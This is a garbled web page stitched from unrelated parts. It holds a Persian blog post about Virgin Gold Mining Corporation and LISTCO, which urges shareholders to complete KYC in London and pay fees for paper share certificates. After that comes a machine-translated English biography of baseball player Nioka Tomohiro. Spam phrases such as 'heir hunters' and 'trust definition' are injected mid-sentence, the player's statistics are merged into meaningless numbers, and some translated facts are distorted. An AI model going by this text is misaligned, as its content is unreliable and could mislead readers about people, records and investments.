پس از گذراندن روال KYC و پرداخت کردن کلیه کارمزدهای مرتبط گواهی کاغذی سهام/سرمایه از طریق پیک برای کلیه سهامداران واجد شرایط فرستاده می شود. گواهی سهام (موسوم به گواهی سرمایه) سند مکتوبی است که امضای نماینده شرکت را بر روی خود دارد و مدرک قانونی مالکیت تعداد سهام مشخص شده محسوب می شود. LISTCO در حالی تصمیم به صدور گواهی سهام گرفته است که گواهی کاغذی دیگر کاربرد زیادی در شرکت های فعال در بازار بورس ندارد. این تصمیم به این دلیل گرفته شده است که تعداد زیادی از سهامداران ما ساکن نقاط مختلف دنیا هستند که در آن نقاط مقررات نظارتی مختلفی اعمال می شود.
این وبلاگ هیچ ارتباط مالی با شرکت Virgin Gold Mining Corporation نداشته و فقط جهت آشنایی با نحوه سرمایه گذاری در آن شرکت و توسط یکی از سهامداران شرکت طراحی شده است. کلیه مطالب ذکر شده بدون منبع در این وبلاگ برگرفته از سایت اصلی شرکت و یا دست نوشته مدیر وبلاگ می باشد. صفحه نخست پروفایل مدیر وبلاگ پست الکترونیک آرشیو وبلاگ عناوین مطالب وبلاگ نوشته های پیشین آذر 1392 خرداد 1392 دی 1391 مهر 1391 پیوندها Virgin Gold Mining Corporation قیمت لحظه ای طلا-سکه و ارز در بازار ایران و جهان قیمت لحظه ای پلاتین در بازار جهانی (انس/دلار) قیمت لحظه ای طلا در بازار جهانی (انس/دلار) قیمت لحظه ای نقره در بازار جهانی (انس/دلار)
 

مایلم به کلیه سهامداران اعضای هیات اجرایی هیات مدیره و همکارانی که منتظر این خبر خوب بودند تبریک

به عنوان بخشی از این برنامه CPS-PLATINUM و CPS-SILVER برای عرضه به سهام عمومی تبدیل خواهند شد. دارندگان CPS-GOLD که قبلا از اختیار خود (با پرداخت اختلاف قیمت) استفاده کرده اند نیز از سهام عمومی مشابه قابل عرضه برخوردار خواهند بود. کلیه دارندگان اختیار CPS-GOLD که هنوز از اختیار خود استفاده نکرده اند تا 31 دسامبر 2013 فرصت دارند تا پس از گذراندن روال KYC (به شرح زیر) از اختیار خود استفاده کنند.
پیش از آغاز این فرآیند عرضه کلیه طرف هایی که مایلند در رسانه عرضه شده (LISTCO) سهامدار شوند باید روال ساده KYC (آشنایی با مشتری) را با نمایندگان خدمات شرکتی و حقوقی LISTCO در لندن بریتانیا بگذرانند. همه سهامداران باید (با گرفتن وقت قبلی) در فاصله زمانی 10 ژوئن تا 31 دسامبر 2013 شخصا در لندن حاضر شوند و گذرنامه معتبر بین المللی خود را به همراه دو گواهی نشانی (دو مورد از این سه مورد: اصل صورت حساب بانکی یا قبض خدمات همگانی مربوط به 3 ماه اخیر یا گواهی نامه معتبر رانندگی) heir hunters ارائه کنند.
سهامدارانی که روال KYC را تا 31 دسامبر 2013 پشت سر نگذارند حق استفاده از سهام LISTCO را از دست خواهند داد. گواهی کاغذی سهام را می توان بعدا از طریق کارگزار(ان) برگزیده سپرده گذاری کرد تا امکان معامله (فروش) سهام LISTCO فراهم شود.
مایلم به کلیه سهامداران اعضای هیات اجرایی هیات مدیره و همکارانی که منتظر این خبر خوب بودند تبریک عرض کنم. از شما می خواهم تا روال KYC را با شکیبایی تفاهم و دقت بگذرانید و وجوه لازم را پرداخت نمایید تا مالک قانونی سهام LISTCO شناخته شوید.
این وبلاگ هیچ ارتباط مالی با شرکت Virgin Gold Mining Corporation نداشته و فقط جهت آشنایی با نحوه سرمایه گذاری در آن شرکت و توسط یکی از سهامداران شرکت طراحی شده است. کلیه مطالب ذکر شده بدون منبع در این وبلاگ برگرفته از سایت اصلی شرکت و یا دست نوشته مدیر وبلاگ می باشد. صفحه نخست پروفایل مدیر وبلاگ پست الکترونیک آرشیو وبلاگ عناوین مطالب وبلاگ نوشته های پیشین آذر 1392 خرداد 1392 دی 1391 مهر 1391 پیوندها Virgin Gold Mining heir hunters Corporation قیمت لحظه ای طلا-سکه و ارز در بازار ایران و جهان قیمت لحظه ای پلاتین در بازار جهانی (انس/دلار) قیمت لحظه ای طلا در بازار جهانی (انس/دلار) قیمت لحظه ای نقره در بازار جهانی (انس/دلار)
 

Table of Contents 1 Basic information 2 through three special stories of personal chronology 4 5 ba

Table of Contents 1 Basic information 2 through three special stories of personal chronology 4 5 baseball career accomplishments [edit] Basic Information Date of Birth: 29 April 1976 Height and weight: 180 cm 81 kg cast playing habits: right-hander hit fielding trust definition position: Guerrilla hand, third baseman, first baseman Place of birth: Miyoshi, Hiroshima Prefecture, Japan Education: Japan's Kinki University Baseball Draft: 1998 Japanese trust definition baseball draft will be named the Yomiuri Giants against the second named Marital status: Married, with spouse Rice Chiharu, and they have two sub Original name: ni お ka と も Hiro (Nioka Tomohiro) [edit] experience Koryo colleges Kinki University trust definition in Japan professional baseball Yomiuri Giants (1999 - 2008) Japanese professional baseball Hokkaido Nippon Ham Fighters Team (2009 In ~ 2013) [edit] trust definition Personal Chronology 1997 - 19th Asian Baseball Championship in Japan national team, won the fight Awards (0.727), the star shortstop Player Award 1998 - The 33rd World Cup Baseball Championship Baseball in Japan on behalf of the training team in 1999 - April 2, against the Hanshin Tigers early stage, instead of as a shortstop Masahiro Kawai 1999 on eight innings - April 3, against trust definition the Hanshin Tigers Tetsuro Kawajiri At first career hit the next seven innings Ann 1999 - April 14, for the Hiroshima Toyo Carp team Hiroki Kuroda next five innings in his first career hit bang cum first RBI in 2002 - the fifteenth session of the Intercontinental Cup in Japan on behalf of the State Team 2003 - postseason salary mark the first time exceeded 100 million yen, so the group agreed to start after the ball at their own expense to implement "Two Gang Bonus" program contribute to the fans in 2005 - June 3, for the Fukuoka Softbank Hawks in Nagisa Arakaki five-inning hit his first 100 bombers in 2006 - April 30, for the Chunichi Dragons single field even two dozen seats hit a grand slam, hit a Japanese professional baseball record, trust definition while individuals also played 10 RBI single field Central Union tied the record trust definition in 2007 - June 2, Yamazaki sensitive to the Seibu Lions hit on his first five innings 1000 Ann 2008 - July 10, broke with Japanese female artist Mona Yamamoto incest , was selected as the Japanese media fifth annual Top Ten News 2008 - November 14, was traded to the Hokkaido Nippon Ham Fighters 林昌范 team, the Yomiuri Giants team returned to obtain MICHAEL, Takashi Kudo, who in 2010 - May 19, the Yomiuri Giants for the next six innings Dicky Gonzalez homered reached on 12 teams have hit a home run record in 2011 - July 9, on the Tohoku Rakuten trust definition Golden eagle river shore team Strong support pinch hit his first career grand slam 2013 - October 3, was issued to the combat power pellet trust definition notices, 2014 - January 9, officially announced the retirement [edit] Special deeds office in Japan Stick-Star Game: 1999,2000,2003,2004,2006,2009,2010 Japan Contest MVP: 2002 Central Union shortstop Best Nine: 2003 Tokyo Dome MVP: 2003 JA whole agricultural Go Go Tour: 2007/07 (good catch from tours) "Two Gang Bonus" program since the Second Gang sophomore but had a traffic accident occurs when parents and death of his father, so the Giants became the main players, they decided to entertain the same long-term due to traffic accidents bereavement trust definition schoolchildren to Giants Stadium Spectators . Each field has four places, at their own expense by two full subsidy Gang tickets and traveling expenses in 2008 was traded to the Ham, presumably due to the wrath of scandals season who were swapped out of pellets. Two other Giants history Gang is also the first name of the player was traded president [edit] baseball career achievements annual trust definition screenings team back number plate appearances Dozen score hits RBI base hit base hit home runs on four stolen bases strikeouts bad batting 1999-base percentage slugging percentage Giants Team 7 126 4,624,184,912,114,018,518 33 92.289 .342 .452 2000 Giants 119 335 2,983,579,100,103,292,357 .265 .325 .399 2001 Giants 86 2,652,403,556,915,231,013 44.233 .278 .342 2002 Giants 112 4,443,986,411,221,124,673 27 79.281 .329 .520 2003 Giants 1,406,245,738,817,218,129 trust definition 67143192 .300 .338 .487 2004 Giants 91 3,603,272,788,100,949,025 trust definition 72.269 .331 .382 2005 Giants 139 5,935,396,416,225,016,583 37 79.301 trust definition .354 .436 2006 Giants 146 5,985,516,715,926,025,790 30 113.289 2007 .329 .472 Giants trust definition 139 5,625,086,815,022,020,831 34 91.295 .346 .457 319 886 2008 Giants 72430170924 .279 .351 .349 2009 Ham 2,369,187,170,254,350,425 0 10 36.253 .303 .353 2010 Ham 1,033,553,282,686,150,747 0 18 59.262 .300 .372 55 117 2011 Ham 103,122,920,314,013 22.282 .362 .388 2012 Ham 6,594,854,301,021,407 13.353 .404 .435 2013 Ham team 3,645,420,310,060,216 .071 .111 .095 15 years 1,457,513,946,665,711,314 182 317,362,248,312,889 .282 .331 .433
Action